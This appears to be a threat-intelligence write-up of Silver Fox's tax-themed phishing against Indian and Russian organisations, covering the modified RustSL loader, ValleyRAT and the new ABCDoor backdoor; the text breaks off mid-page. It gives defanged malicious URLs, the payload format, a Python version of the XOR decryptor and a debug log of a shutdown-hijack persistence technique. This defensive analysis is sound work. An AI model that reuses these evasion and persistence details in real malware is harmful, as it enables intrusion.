{"id":2797,"date":"2026-04-30T07:04:02","date_gmt":"2026-04-30T07:04:02","guid":{"rendered":"https:\/\/blog.ibvl.in\/index.php\/2026\/04\/30\/silver-fox-uses-the-new-abcdoor-backdoor-to-target-organizations-in-russia-and-india\/"},"modified":"2026-04-30T07:04:02","modified_gmt":"2026-04-30T07:04:02","slug":"silver-fox-uses-the-new-abcdoor-backdoor-to-target-organizations-in-russia-and-india","status":"publish","type":"post","link":"https:\/\/blog.ibvl.in\/index.php\/2026\/04\/30\/silver-fox-uses-the-new-abcdoor-backdoor-to-target-organizations-in-russia-and-india\/","title":{"rendered":"Silver Fox uses the new ABCDoor backdoor to target organizations in Russia and India"},"content":{"rendered":"<div>\n<p><img width=\"990\" height=\"400\" src=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/29144353\/SL-Silver-Fox-tax-campaign-featured-990x400.jpg\" class=\"attachment-securelist-huge-promo size-securelist-huge-promo wp-post-image\" alt=\"\" decoding=\"async\" loading=\"lazy\"><\/p>\n<p>In December 2025, we detected a wave of malicious emails designed to look like official correspondence from the Indian tax service. A few weeks later, in January 2026, a similar campaign began targeting Russian organizations. We have attributed this activity to the Silver Fox threat group.<\/p>\n<p>Both waves followed a nearly identical structure: phishing emails were styled as official notices regarding tax audits or prompted users to download an archive containing a \u201clist of tax violations\u201d. Inside the archive was a modified Rust-based loader pulled from a public repository. This loader would download and execute the well-known ValleyRAT backdoor. The campaign impacted organizations across the industrial, consulting, retail, and transportation sectors, with over 1600 malicious emails recorded between early January and early February.<\/p>\n<p>During our investigation, we also discovered that the attackers were delivering a new ValleyRAT plugin to victim devices, which functioned as a loader for a previously undocumented Python-based backdoor. We have named this backdoor ABCDoor. Retrospective analysis reveals that ABCDoor has been part of the Silver Fox arsenal since at least late 2024 and has been utilized in real-world attacks from the first quarter of 2025 to the present day.<\/p>\n<h2 id=\"email-campaign\">Email campaign<\/h2>\n<p>In the January campaign, victims received an email purportedly from the tax service with an attached PDF file.<\/p>\n<div id=\"attachment_119577\" style=\"width: 1364px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28220819\/silver-fox15.png\" class=\"magnificImage\"><img fetchpriority=\"high\" decoding=\"async\" aria-describedby=\"caption-attachment-119577\" class=\"size-full wp-image-119577\" src=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28220819\/silver-fox15.png\" alt=\"Phishing email sent to victims in Russia\" width=\"1354\" height=\"482\" srcset=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28220819\/silver-fox15.png 1354w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28220819\/silver-fox15-300x107.png 300w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28220819\/silver-fox15-1024x365.png 1024w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28220819\/silver-fox15-768x273.png 768w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28220819\/silver-fox15-983x350.png 983w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28220819\/silver-fox15-740x263.png 740w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28220819\/silver-fox15-787x280.png 787w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28220819\/silver-fox15-800x285.png 800w\" sizes=\"(max-width: 1354px) 100vw, 1354px\"><\/a><\/p>\n<p id=\"caption-attachment-119577\" class=\"wp-caption-text\">Phishing email sent to victims in Russia<\/p>\n<\/div>\n<p>The PDF contained two clickable links to download an archive, both leading to a malicious website: abc.haijing88[.]com\/uploads\/\u0444\u043d\u0441\/\u0444\u043d\u0441.zip.<\/p>\n<div id=\"attachment_119578\" style=\"width: 722px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28220926\/silver-fox1.png\" class=\"magnificImage\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-119578\" class=\"size-full wp-image-119578\" src=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28220926\/silver-fox1.png\" alt=\"Contents of the PDF file from the January phishing wave\" width=\"712\" height=\"854\" srcset=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28220926\/silver-fox1.png 712w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28220926\/silver-fox1-250x300.png 250w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28220926\/silver-fox1-292x350.png 292w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28220926\/silver-fox1-233x280.png 233w\" sizes=\"auto, (max-width: 712px) 100vw, 712px\"><\/a><\/p>\n<p id=\"caption-attachment-119578\" class=\"wp-caption-text\">Contents of the PDF file from the January phishing wave<\/p>\n<\/div>\n<div id=\"attachment_119579\" style=\"width: 383px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28220959\/silver-fox4.png\" class=\"magnificImage\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-119579\" class=\"size-full wp-image-119579\" src=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28220959\/silver-fox4.png\" alt=\"Contents of the \u0444\u043d\u0441.zip archive\" width=\"373\" height=\"200\" srcset=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28220959\/silver-fox4.png 373w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28220959\/silver-fox4-300x161.png 300w\" sizes=\"auto, (max-width: 373px) 100vw, 373px\"><\/a><\/p>\n<p id=\"caption-attachment-119579\" class=\"wp-caption-text\">Contents of the \u0444\u043d\u0441.zip archive<\/p>\n<\/div>\n<p>In the December campaign, the malicious code was embedded directly within the files attached to the email.<\/p>\n<div id=\"attachment_119580\" style=\"width: 1046px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28221054\/silver-fox22.png\" class=\"magnificImage\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-119580\" class=\"size-full wp-image-119580\" src=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28221054\/silver-fox22.png\" alt=\"Phishing email sent to victims in India\" width=\"1036\" height=\"1450\" srcset=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28221054\/silver-fox22.png 1036w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28221054\/silver-fox22-214x300.png 214w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28221054\/silver-fox22-732x1024.png 732w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28221054\/silver-fox22-768x1075.png 768w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28221054\/silver-fox22-250x350.png 250w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28221054\/silver-fox22-714x1000.png 714w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28221054\/silver-fox22-200x280.png 200w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28221054\/silver-fox22-643x900.png 643w\" sizes=\"auto, (max-width: 1036px) 100vw, 1036px\"><\/a><\/p>\n<p id=\"caption-attachment-119580\" class=\"wp-caption-text\">Phishing email sent to victims in India<\/p>\n<\/div>\n<p>The email shown in the screenshot above was sent via the SendGrid cloud platform and contained an archive named <code>ITD.-.rar<\/code>. Inside was a single executable file, Click File.exe, with an Adobe PDF icon (the RustSL loader).<\/p>\n<div id=\"attachment_119581\" style=\"width: 194px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28221139\/silver-fox3.png\" class=\"magnificImage\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-119581\" class=\"size-full wp-image-119581\" src=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28221139\/silver-fox3.png\" alt=\"Contents of ITD.-.rar\" width=\"184\" height=\"198\"><\/a><\/p>\n<p id=\"caption-attachment-119581\" class=\"wp-caption-text\">Contents of ITD.-.rar<\/p>\n<\/div>\n<p>Additionally, in late December, emails were distributed with an attachment titled GST.pdf containing two links leading to hxxps:\/\/abc.haijing88[.]com\/uploads\/\u5370\u5ea6\u90ae\u7bb1\/CBDT.rar. (\u5370\u5ea6\u90ae\u7bb1 translates from Chinese as \u201cIndian mailbox\u201d).<\/p>\n<div id=\"attachment_119582\" style=\"width: 861px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28221251\/silver-fox7.png\" class=\"magnificImage\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-119582\" class=\"size-full wp-image-119582\" src=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28221251\/silver-fox7.png\" alt=\"PDF file from the phishing email\" width=\"851\" height=\"1167\" srcset=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28221251\/silver-fox7.png 851w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28221251\/silver-fox7-219x300.png 219w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28221251\/silver-fox7-747x1024.png 747w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28221251\/silver-fox7-768x1053.png 768w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28221251\/silver-fox7-255x350.png 255w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28221251\/silver-fox7-729x1000.png 729w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28221251\/silver-fox7-204x280.png 204w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28221251\/silver-fox7-656x900.png 656w\" sizes=\"auto, (max-width: 851px) 100vw, 851px\"><\/a><\/p>\n<p id=\"caption-attachment-119582\" class=\"wp-caption-text\">PDF file from the phishing email<\/p>\n<\/div>\n<p>Both versions of the campaign attempt to exploit the perceived importance of tax authority correspondence to convince the victim to download the document and initiate the attack chain. The method of using download links within a PDF is specifically designed to bypass email security gateways; since the attached document only contains a link that requires further analysis, it has a higher probability of reaching the recipient compared to an attachment containing malicious code.<\/p>\n<h2 id=\"rustsl-loader\">RustSL loader<\/h2>\n<p>The attackers utilized a modified version of a Rust-based loader called RustSL, whose source code is publicly available on GitHub with a description in Chinese:<\/p>\n<div id=\"attachment_119583\" style=\"width: 602px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28221348\/silver-fox6.png\" class=\"magnificImage\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-119583\" class=\"size-full wp-image-119583\" src=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28221348\/silver-fox6.png\" alt=\"Screenshot of the description from the RustSL loader GitHub project\" width=\"592\" height=\"877\" srcset=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28221348\/silver-fox6.png 592w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28221348\/silver-fox6-203x300.png 203w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28221348\/silver-fox6-236x350.png 236w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28221348\/silver-fox6-189x280.png 189w\" sizes=\"auto, (max-width: 592px) 100vw, 592px\"><\/a><\/p>\n<p id=\"caption-attachment-119583\" class=\"wp-caption-text\">Screenshot of the description from the RustSL loader GitHub project<\/p>\n<\/div>\n<p>The description also refers to RustSL as an antivirus bypass framework, as it features a builder with extensive customization options:<\/p>\n<ul>\n<li>Eight payload encryption methods<\/li>\n<li>Thirteen memory allocation methods<\/li>\n<li>Twelve sandbox and virtual machine detection techniques<\/li>\n<li>Thirteen payload execution methods<\/li>\n<li>Five payload encoding methods<\/li>\n<\/ul>\n<p>Furthermore, the original version of RustSL encrypts all strings by default and inserts junk instructions to complicate analysis.<\/p>\n<p>The Silver Fox APT group first began using a modified version of RustSL in late December 2025.<\/p>\n<h2 id=\"silver-fox-rustsl\">Silver Fox RustSL<\/h2>\n<p>This section examines the key changes the Silver Fox group introduced to RustSL. We will refer to this customized version as Silver Fox RustSL to distinguish it from the original.<\/p>\n<h3 id=\"the-steganography-rs-module\">The steganography.rs module<\/h3>\n<p>The attackers added a module named steganography.rs to RustSL. Despite the name, it has little to do with actual steganography; instead, it implements the unpacking logic for the malicious payload.<\/p>\n<div id=\"attachment_119584\" style=\"width: 437px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28221611\/silver-fox21.png\" class=\"magnificImage\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-119584\" class=\"size-full wp-image-119584\" src=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28221611\/silver-fox21.png\" alt=\"The usage of the new module within the Silver Fox RustSL code\" width=\"427\" height=\"27\" srcset=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28221611\/silver-fox21.png 427w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28221611\/silver-fox21-300x19.png 300w\" sizes=\"auto, (max-width: 427px) 100vw, 427px\"><\/a><\/p>\n<p id=\"caption-attachment-119584\" class=\"wp-caption-text\">The usage of the new module within the Silver Fox RustSL code<\/p>\n<\/div>\n<p>The threat actors also modified the RustSL builder to support the new format and payload packing.<\/p>\n<p>The attackers employed several methods to deliver the encrypted malicious payload. In December, we observed files being downloaded from remote hosts followed by delivery within the loader itself. Later, the attackers shifted almost entirely to placing the malicious payload inside the same archive as the loader, disguised as a standalone file with extensions like PNG, HTM, MD, LOG, XLSX, ICO, CFG, MAP, XML, or OLD.<\/p>\n<h4 id=\"encrypted-malicious-payload-format\">Encrypted malicious payload format<\/h4>\n<p>The encrypted payload file delivered by the Silver Fox RustSL loader followed this structure:<\/p>\n<pre class=\"urvanov-syntax-highlighter-plain-tag\">&lt;RSL_START&gt;rsl_encrypted_payload&lt;RSL_END&gt;<\/pre>\n<p>If additional payload encoding was selected in the builder, the loader would decode the data before proceeding with decryption.<\/p>\n<p>The rsl_encrypted_payload followed this specific format:<\/p>\n<pre class=\"urvanov-syntax-highlighter-plain-tag\">char sha256_hash[32]; \/\/ decrypted payload hash\r\nDWORD enc_payload_len;\r\nWORD sgn_decoder_size;\r\nchar sgn_iterations;\r\nchar sgn_key;\r\nchar decoder[sgn_decoder_size];\r\nchar enc_payload[enc_payload_len];<\/pre>\n<p>Below is a description of the data blocks contained within it:<\/p>\n<ul>\n<li>sha256_hash: the hash of the decrypted payload. After decryption, the loader calculates the SHA256 hash and compares it against this value; if they do not match, the process terminates.<\/li>\n<li>enc_payload_len: the size of the encrypted payload<\/li>\n<li>sgn_iterations and sgn_key: parameters used for decryption<\/li>\n<li>sgn_decoder_size and decoder: unused fields<\/li>\n<li>enc_payload: the primary payload<\/li>\n<\/ul>\n<p>Notably, the new proprietary steganography.rs module was implemented using the same logic as the public RustSL modules (such as ipv4.rs, ipv6.rs, mac.rs, rc4.rs, and uuid.rs in the decrypt directory). It utilized a similar payload structure where the first 32 bytes consist of a SHA-256 hash and the payload size.<\/p>\n<p>To decrypt the malicious payload, steganography.rs employed a custom XOR-based algorithm. Below is an equivalent implementation in Python:<\/p>\n<pre class=\"urvanov-syntax-highlighter-plain-tag\">def decrypt(data: bytes, sgn_key: int, sgn_iterations: int) -&gt; bytes:\r\n    buf = bytearray(data)\r\n    xor_key = sgn_key &amp; 0xFF\r\n\r\n    for _ in range(sgn_iterations):\r\n        k = xor_key\r\n        for i in range(len(buf)):\r\n            dec = buf[i] ^ k\r\n\r\n            if k &amp; 1:\r\n                k = (dec ^ ((k &gt;&gt; 1) ^ 0xB8)) &amp; 0xFF\r\n            else:\r\n                k = (dec ^ (k &gt;&gt; 1)) &amp; 0xFF\r\n\r\n            buf[i] = dec\r\n\r\n    return bytes(buf)<\/pre>\n<p>The unpacking process consists of the following stages:<\/p>\n<ol>\n<li>Extraction of rsl_encrypted_payload.The loader extracts the encrypted payload body located between the &lt;RSL_START&gt; and &lt;RSL_END&gt; markers.\n<\/p>\n<div id=\"attachment_119585\" style=\"width: 788px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28221923\/silver-fox14.png\" class=\"magnificImage\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-119585\" class=\"size-full wp-image-119585\" src=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28221923\/silver-fox14.png\" alt=\"Original file containing the encrypted malicious payload\" width=\"778\" height=\"236\" srcset=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28221923\/silver-fox14.png 778w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28221923\/silver-fox14-300x91.png 300w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28221923\/silver-fox14-768x233.png 768w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28221923\/silver-fox14-740x224.png 740w\" sizes=\"auto, (max-width: 778px) 100vw, 778px\"><\/a><\/p>\n<p id=\"caption-attachment-119585\" class=\"wp-caption-text\">Original file containing the encrypted malicious payload<\/p>\n<\/div>\n<\/li>\n<li>XOR decryption with a hardcoded key.Most loaders used the hardcoded key RSL_STEG_2025_KEY.<\/li>\n<li>Payload decoding occurs if the corresponding setting was enabled in the builder.The GitHub version of the builder offers several encoding options: Base64, Base32, Hex, and urlsafe_base64. Silver Fox utilized each option at least once. Base64 was the most frequent choice, followed by Hex and Base32, with urlsafe_base64 appearing in a few samples.\n<\/p>\n<div id=\"attachment_119586\" style=\"width: 1063px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28222103\/silver-fox19.png\" class=\"magnificImage\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-119586\" class=\"size-full wp-image-119586\" src=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28222103\/silver-fox19.png\" alt=\"Encrypted malicious payload prior to the final decryption stage\" width=\"1053\" height=\"552\" srcset=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28222103\/silver-fox19.png 1053w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28222103\/silver-fox19-300x157.png 300w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28222103\/silver-fox19-1024x537.png 1024w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28222103\/silver-fox19-768x403.png 768w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28222103\/silver-fox19-668x350.png 668w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28222103\/silver-fox19-740x388.png 740w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28222103\/silver-fox19-534x280.png 534w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28222103\/silver-fox19-800x419.png 800w\" sizes=\"auto, (max-width: 1053px) 100vw, 1053px\"><\/a><\/p>\n<p id=\"caption-attachment-119586\" class=\"wp-caption-text\">Encrypted malicious payload prior to the final decryption stage<\/p>\n<\/div>\n<\/li>\n<li>Decryption of the final payload using a multi-pass XOR algorithm that modifies the key after each iteration (as demonstrated in the Python algorithm provided above).<\/li>\n<\/ol>\n<h3 id=\"the-guard-rs-module\">The guard.rs module<\/h3>\n<p>Another module added to Silver Fox RustSL is guard.rs. It implements various environment checks and country-based geofencing.<\/p>\n<p>In the earliest loader samples from late December 2025, the Silver Fox group utilized every available method for detecting virtual machines and sandboxes, while also verifying if the device was located in a target country. In later versions, the group retained only the geolocation check; however, they expanded both the list of countries allowed for execution and the services used for verification.<\/p>\n<p>The GitHub version of the loader only includes China in its country list. In customized Silver Fox loaders built prior to January 19, 2026, this list included India, Indonesia, South Africa, Russia, and Cambodia. Starting with a sample dated January 19, 2026  (MD5: e6362a81991323e198a463a8ce255533), Japan was added to the list.<\/p>\n<p>To determine the host country, Silver Fox RustSL sends requests to five public services:<\/p>\n<ul>\n<li>ip-api.com (the GitHub version relies solely on this service)<\/li>\n<li>ipwho.is<\/li>\n<li>ipinfo.io<\/li>\n<li>ipapi.co<\/li>\n<li>www.geoplugin.net<\/li>\n<\/ul>\n<h3 id=\"phantom-persistence\">Phantom Persistence<\/h3>\n<p>We discovered that a loader compiled on January 7, 2026 (MD5: 2c5a1dd4cb53287fe0ed14e0b7b7b1b7), began to use the recently documented <a href=\"https:\/\/blog.phantomsec.tools\/phantom-persistence\" target=\"_blank\" rel=\"noopener\">Phantom Persistence<\/a> technique to establish persistence. This method abuses functionality designed to allow applications requiring a reboot for updates to complete the installation process properly. The attackers intercept the system shutdown signal, halt the normal shutdown sequence, and trigger a reboot under the guise of an update for the malware. Consequently, the loader forces the system to execute it upon OS startup. This specific sample was compiled in debug mode and logged its activity to rsl_debug.log, where we identified strings corresponding to the implementation of the Phantom Persistence technique:<\/p>\n<pre class=\"urvanov-syntax-highlighter-plain-tag\">[unix_timestamp] God-Tier Telemetry Blinding: Deployed via HalosGate Indirect Syscalls.\r\n[unix_timestamp] RSL started in debug mode.\r\n[unix_timestamp] ==========================================\r\n[unix_timestamp]     Phantom Persistence Module (Hijack Mode) \r\n[unix_timestamp] ==========================================\r\n[unix_timestamp] [*] Calling RegisterApplicationRestart...\r\n[unix_timestamp] [+] RegisterApplicationRestart succeeded.\r\n[unix_timestamp] [*] Note: This API mainly works for application crashes, not for user-initiated shutdowns.\r\n[unix_timestamp] [*] For full persistence, you need to trigger the shutdown hijack logic.\r\n[unix_timestamp] [*] Starting message thread to monitor shutdown events...\r\n[unix_timestamp] [+] SetProcessShutdownParameters (0x4FF) succeeded.\r\n[unix_timestamp] [+] Window created successfully, message loop started.\r\n[unix_timestamp] [+] Phantom persistence enabled successfully.\r\n[unix_timestamp] [*] Hijack logic: Shutdown signal -&gt; Abort shutdown -&gt; Restart with EWX_RESTARTAPPS.\r\n[unix_timestamp] Phantom persistence enabled.\r\n[unix_timestamp] Mouse movement check passed.\r\n[unix_timestamp] IP address check passed.\r\n[unix_timestamp] Pass Sandbox\/VM detection.<\/pre>\n<\/p>\n<h2 id=\"attack-chain-and-payloads\">Attack chain and payloads<\/h2>\n<p>During this phishing campaign, Silver Fox utilized two primary methods for delivering malicious archives:<\/p>\n<ul>\n<li>As an email attachment<\/li>\n<li>Via a link to an external attacker-controlled website contained within a PDF attachment<\/li>\n<\/ul>\n<p>We also observed three different ways the payload was positioned relative to the loader:<\/p>\n<ul>\n<li>Embedded within the loader body<\/li>\n<li>Hosted on an external website as a PNG image<\/li>\n<li>Placed within the same archive as the loader<\/li>\n<\/ul>\n<p>The diagram below illustrates the attack chain using the example of an email containing a PDF file and the subsequent delivery of a malicious payload from an external attacker-controlled website.<\/p>\n<div id=\"attachment_119587\" style=\"width: 2058px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28222415\/silver-fox16.png\" class=\"magnificImage\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-119587\" class=\"size-full wp-image-119587\" src=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28222415\/silver-fox16.png\" alt=\"Attack chain of the campaign utilizing the RustSL loader\" width=\"2048\" height=\"1237\" srcset=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28222415\/silver-fox16.png 2048w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28222415\/silver-fox16-300x181.png 300w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28222415\/silver-fox16-1024x619.png 1024w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28222415\/silver-fox16-768x464.png 768w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28222415\/silver-fox16-1536x928.png 1536w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28222415\/silver-fox16-330x200.png 330w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28222415\/silver-fox16-579x350.png 579w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28222415\/silver-fox16-740x447.png 740w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28222415\/silver-fox16-464x280.png 464w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28222415\/silver-fox16-800x483.png 800w\" sizes=\"auto, (max-width: 2048px) 100vw, 2048px\"><\/a><\/p>\n<p id=\"caption-attachment-119587\" class=\"wp-caption-text\">Attack chain of the campaign utilizing the RustSL loader<\/p>\n<\/div>\n<p>The infection chain begins when the user runs an executable file (the Silver Fox modification of the RustSL loader) disguised with a PDF or Excel icon. RustSL then loads an encrypted payload, which functions as shellcode. This shellcode then downloads an encrypted ValleyRAT (also known as Winos 4.0) backdoor module named \u4e0a\u7ebf\u6a21\u5757.dll from the attackers\u2019 server. The filename translates from Chinese as \u201conline-module.dll\u201d, so for the sake of clarity, we\u2019ll refer to it as the Online module.<\/p>\n<div id=\"attachment_119588\" style=\"width: 789px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28222513\/silver-fox8.png\" class=\"magnificImage\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-119588\" class=\"size-full wp-image-119588\" src=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28222513\/silver-fox8.png\" alt=\"Beginning of the decrypted payload: shellcode for loading the ValleyRAT (Winos 4.0) Online module\" width=\"779\" height=\"333\" srcset=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28222513\/silver-fox8.png 779w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28222513\/silver-fox8-300x128.png 300w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28222513\/silver-fox8-768x328.png 768w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28222513\/silver-fox8-740x316.png 740w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28222513\/silver-fox8-655x280.png 655w\" sizes=\"auto, (max-width: 779px) 100vw, 779px\"><\/a><\/p>\n<p id=\"caption-attachment-119588\" class=\"wp-caption-text\">Beginning of the decrypted payload: shellcode for loading the ValleyRAT (Winos 4.0) Online module<\/p>\n<\/div>\n<p>The Online module proceeds to load the core component of ValleyRAT: the Login module (the original filename \u767b\u5f55\u6a21\u5757.dll_bin translates from Chinese as \u201clogin-module.dll_bin\u201d). This module manages C2 server communication, command execution, and the downloading and launching of additional modules.<\/p>\n<p>The initial shellcode, as well as the Online and Login modules, utilize a configuration located at the end of the shellcode:<\/p>\n<div id=\"attachment_119589\" style=\"width: 786px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/28222556\/silver-fox10.png\" class=\"magnificImage\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-119589\" class=\"size-full wp-image-119589\" 